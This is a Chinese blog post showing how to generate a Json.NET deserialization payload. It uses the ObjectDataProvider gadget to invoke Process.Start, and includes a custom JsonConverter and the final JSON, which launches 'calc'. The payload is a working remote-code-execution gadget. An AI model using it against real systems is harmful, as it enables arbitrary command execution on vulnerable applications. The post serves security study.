Json.NET反序列化漏洞生成Ysoserial攻击Payload
Ysoserial.Net只提供序列化之后的Payload主体,具体执行的命令从外部输入,实现代码清单如下
String payload = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':[" + cmdPart + @"] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
从$type类型得知序列化使用了ObjectDataProvider类,MethodParameters.Add方法的参数是一个ArrayList集合,既然知道了原理我们尝试序列化出Ysoserial这段攻击载荷,TestClass.ClassMethod()内部调用Process.Start启动进程,
再次尝试序列化时发现抛出了异常:Error getting value from 'BasePriority' on 'System.Diagnostics.Process'. 如下图
ObjectDataProvider类的ObjectInstance属性实际使用时就是实例化对象,所以它需要绑定一个能被实例化的对象,那些诸如File、Assembly类都不适用。如果想使用ObjectInstance就必须创建类的实例,然而Process类在实例化时BasePriority、ExitCode等多个属性在Json.NET序列化的时候抛出异常,导致序列化失败。
把目光转移到JsonConverter类,签名定义如下
ReadJson方法用于将JSON反序列化为对象。WriteJson(JsonWriter writer, object value, JsonSerializer serializer) 可以通过JsonWriter将对象的属性和值写入JSON,这个方法正是我们所寻找的。思路是尝试使用JsonWriter对Process对象的$type赋值。
public class ProcessConverter : JsonConverter { public override void WriteJson(JsonWriter writer, object value, JsonSerializer serializer) { Process process = (Process)value; writer.WriteStartObject(); writer.WritePropertyName("$type"); writer.WriteValue(process.GetType().AssemblyQualifiedName); writer.WriteEndObject(); } public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer) {throw new NotImplementedException();} public override bool CanConvert(Type objectType) {return objectType == typeof(Process);} }
通过settings.Converters.Add将自定义的ProcessConverter类添加到序列化过程,从而执行自定义逻辑。完事具备现在开始序列化使用ObjectDataProvider.ObjectInstance属性绑定Process实例化对象,如下代码
ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.MethodParameters.Add("calc"); odp.ObjectInstance = new System.Diagnostics.Process(); string text = JsonConvert.SerializeObject(odp, settings);
生成的JSON清单如下
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"},"MethodName":"Start","MethodParameters":{"$type":"MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","$values":["calc"]},"Data":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}}
扫码左侧二维码进入星球,扫码右侧二维码关注dotNet安全矩阵公众号,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本